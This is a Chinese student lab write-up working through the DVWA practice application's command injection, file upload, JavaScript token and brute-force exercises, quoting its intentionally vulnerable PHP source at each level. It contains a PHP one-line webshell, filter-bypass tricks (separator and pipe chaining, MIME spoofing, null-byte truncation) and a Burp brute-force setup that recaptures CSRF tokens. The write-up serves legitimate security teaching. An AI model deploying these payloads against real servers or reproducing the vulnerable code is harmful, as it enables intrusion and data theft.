DVWA实验wp

实验项目

基于DVWA的网络安全实验

实验目的

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
本次实验,旨在用DVWA这个靶场工具,让我们更深刻地了解课程内容,对信息安全有一定的实际操作能力。

实验环境搭建

实验环境:centos7,docker
实验材料:dvwa。
dvwa基于docker的搭建十分简单,三行命令即可。

yum install docker-ce

sysyemctl start docker

docker run --rm -it -p 55349:80 vulnerables/web-dvwa

运行后,我们访问55349端口,可以看到dvwa已经成功运行。

KGJoZT.png

开始实验

Command Injection

简介

Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施下一步渗透攻击。

测试级别:low

实验过程

KGYPFe.png

题目要求enter a ipadress,很显然这是一个极其简单的命令注入问题。输入本地环回地址,有回显。

KGY9oD.png

用逻辑符号联立一个linux命令,发现可以执行。

KGYSeK.png

拿到linux账户密码,以待进一步进行提权操作。

KGYpdO.png

成功,完成测试。

源代码分析

low
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

从源代码可以看出,post请求拿到ip后,并没有对ip进行过滤或进一步处理,而是直接调用shell_exec进行执行,于是导致了命令注入漏洞的产生。

流程图如下:

KGYASA.jpg

medium

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

分析源码,可以看出,str_replace对符号“;”,“&&”进行了过滤。但是符号“&”和“|”仍然可用。

KGJxL6.png

high

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

可以看出,这次加强了过滤,$substitutions数组里每一个符号都被替换掉了。但符号“| ”后有一个空格,也就是说仍然可以用“|”实现,此时代表管道符。

测试截图:

KGYiJH.png

impossible

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

目前没有找到绕过过滤的方法,但可以罗列一下它所做的安全保护策略:

  • CSRF防护:checkToken函数保证每一次用户输入的token是同源的,防止跨站请求伪造。
  • 命令注入防护:输入被严格分为了ip的四个部分,符号“.”作为分隔符
  • stripslashes函数:去除反斜杠,防止转义

最后一张图总结命令注入各种连接符的用法:

KGYFWd.png

File Upload

简介

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。

测试级别:low

实验过程

KGsZdA.png

这是一道很容易的文件上传题,按照惯常套路,想办法把webshell上传到相应目录,然后再进行进一步提权。

我们先尝试写一个一句话木马,尝试上传。

1
<?php @eval($_POST['pass']);?>

可以看到,没有任何过滤的成功上传了。

KGsAqH.png

尝试访问hackable/upload目录下我们上传的webshell。

KGskse.png

打开hackbar,向我们的webshell post相应信息,我们可以看到,我们输入的php代码被成功执行。

KGsVZd.png

打开中国菜刀,连接我们的webshell。

KGsFMD.png

可以看到成功连接上,并且可遍历相应目录。

KGseII.png

源代码分析

low
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

可以看出,该页面文件上传并没有对文件类型做任何的过滤,上传成功后,也并没有对文件名进行哈希后重命名,所以造成了一个很简单的文件上传漏洞.

流程图如下:

KGsnit.jpg

medium
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

我们可以看出,中等等级的首先对文件的mime类型进行了限制,只允许image/jpg格式的被上传。其次对文件大小也做了相应的限制,限制在100000字节以内。

思路:burpsuite抓包,上传一句话木马,把mime类型改为image/jpg

high
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

high等级的文件上传,进一步的限制了文件类型,采用strtolower函数拿到文件的拓展名,采用了白名单机制,只允许jpg、png、jpeg格式的文件上传。

其中(($uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, ‘.’ ) + 1);

一句保证取到的拓展名是真实文件名,防止构造xx.jpg.php这样的文件名绕过。

思路:burpsuite抓包,00截断。

impossible

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在impossible难度下,可以看出,除了mime类型过滤,后缀名过滤外,还对文件名进行了md5加密处理重命名。

getimagesize( $uploaded_tmp)用于判断是否为真正的图片。

最后再用GD库洗掉图片内嵌的恶意代码。

imagecreatefromjpeg($uploaded_tmp);

可以看出,impossible难度下的文件上传过滤做得特别的完善,理论上不存在漏洞。

JavaScript Attacks

简介

JavaScript是一种直译式脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型。它的解释器被称为JavaScript引擎,为浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML(标准通用标记语言下的一个应用)网页上使用,用来给HTML网页增加动态功能。
但同时Js也会引发不少安全问题,如XSS等,都是比较常见的前端安全问题。

测试级别:high

实验过程

KGs0QU.png

按照题目要求输入success,显示invalid token。可以推测,在post phrase的同时,后端还会对token进行验证,我们要做的是找到这个token。

KGsDL4.png

查看源码,可以看出,该源码是被uglify过的,google一下js反混淆的网站,deobfuscate后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(function() {
'use strict';
var ERROR = 'input is invalid type';
var WINDOW = typeof window === 'object';
var root = WINDOW ? window : {};
if (root.JS_SHA256_NO_WINDOW) {
WINDOW = false
}
var WEB_WORKER = !WINDOW && typeof self === 'object';
var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;

...
...
...

function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

乍一看比较没有思路,我们直接定位到后面几行代码,我们看到,有三个验证token的函数,分别是tokenpart1、tokenpart2、tokenpart3.

我们可以看出,tokenpart2被延时了300ms执行,然后在点击click的时候 tokenpart3被执行,最后再执行tokenpart1,很明显token的几个部分的顺序被调乱了。

我们打开控制台,先执行token_part_1(“ABCD”,44);再执行token_part_2(“XX”),最后输入success,点击click执行token_part_3,发现仍然显示invallid token,我们再仔细审查代码,发现在token_part_1的时候就调用了

1
document.getElementById("token").value = do_something(document.getElementById("phrase").value)

所以应在执行它之前先输入success,尝试了一下,成功。

KGsByF.png

再审查源码,在token_part_1函数内对输入的参数都没有任何的处理,所以,不一定是token_part_1(“ABCD”,44);也可以是token_part_1(“任意字符串”,任意数字);而token_part_2里token与输入的e有关。测试了一下,发现成功。

KGsdzT.png

流程图如下:

KGs6oR.jpg

源代码分析

low
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
...
...

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();
</script>
EOF;
?>

源代码花里胡哨,显得很多,其实不过是前端实现了md5算法。

关键部分代码如上,token由generate_token函数生成,对“success”进行rot13加密后再md5加密。

只需输入phrase后调用generate_token()即可。

KGsseJ.png

medium
1
2
3
4
5
6
7
8
9
10
11
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function () {
do_elsesomething("XX")
}, 300);

function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

KGsaWV.png

token由do_elsesomething函数生成,而该函数内调用了do_something函数。

输入success,然后在控制台内调用do_elsesomething(“XX”),再submit即可

impossible

KGsyw9.png

直接不让人输了,这个最强大。。。

Brute Force

简介

基于密码加密的暴力破解法。试验所有可能的口令组合来破解口令。即通过穷举的方法来破解,将口令进行逐个推算或辅以字典来缩小口令范围,直到找出真正的口令的一种口令分析方法。暴力攻击的方法往往是不可行的,由于时间和设备的约束。暴力破解理论上能破解所有的文本口令,但时间和性能开销随字符集规模和长度的变化非常大。暴力攻击的猜测次序是由字母表来决定的。举例来说,一个攻击者对于3个字符的口令,使用小写字母表,那么他的猜测就会从”aaa”开始,以”zzz”结束。但是,由于不同的攻击者选择增量的从左边开始还是从右边开始的不用,比如一些人采用右边增量,则猜测次序为”aaa,aab,aac” ,而另一些人选择从左边增量,则猜测次序为”aaa,baa,caa”,而这对于口令破解的时间有着巨大影响。

测试级别:low

实验过程

KGyMkR.png

KGyu79.png

浏览器配置代理,burpsuite监听8080端口。

KGyZXF.png

在表单提交任意内容,点击login,我们在burp里可以看到,成功抓包。

KGymm4.png

点击send to intruder,进行爆破前配置。

KGyn0J.png

清除预置变量,将username和password设置为变量,选择cluster bomb模式(username列表和password列表排列组合)。

KGyQt1.png

KGylfx.png

分别加载我们提前准备好的账号和密码的社工字典(burp内置字典也可)

KGy3p6.png

start burp,爆破完成后在200的相应内找到length不一样的request,所以账号应该是admin,密码为password。

KGy81K.png

尝试登录,发现成功。

源代码分析

low

审计一下源代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,账号和密码的提交方式为GET,提交后对密码进行md5加密(数据库中存储的密码也是md5加密过的)。构造sql查询语句,然后返回登录成功与否的信息。可以看到,对用户的输入没有任何的过滤,并且也没有爆破的限制。

medium

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium采用 mysqli_real_escape_string 函数防止sql注入,又使用sleep函数限制爆破速度。但仍然可以burpsuite一把梭。

high

接下来我们再测试一下high难度的爆破。

审查源代码,关键部分在这儿:

1
2
3
4
5
6
7
8
9
10
11
12
13
![10](C:\Users\Curled\Desktop\数字认证\pic\爆破\10.png)![10](C:\Users\Curled\Desktop\数字认证\pic\爆破\10.png)<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

...
...

// Generate Anti-CSRF token
generateSessionToken();

?>

网页产生了一个防跨站请求伪造token,所以我们每一次爆破都要先拿到token,才能通过checkToken函数的验证。

burpsuite抓包,send to intruder,然后打上变量。

KGyG6O.png

这里选择pitchfork模式。payload1为待爆破的密码,照常选择simple list即可。payload2为token,这里选择recursive grep,是用正则表达式的方法每次取csrf token。

KGyJXD.png

options里面grep匹配response里token的前后文,这里注意follow 热directions 要勾选always,因为这里的登录框在登陆后有一个302跳转,否则无法拿到登录状态的真正报文。

KGytne.png

initial payload里填入一个token,start attack。

KGyN0H.png

可以看到爆破成功。

流程图如下:

KGyU7d.jpg

impossible

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

不仅防止了csrf,而且直接限制了登录试错次数,可以说比较完善了。

0%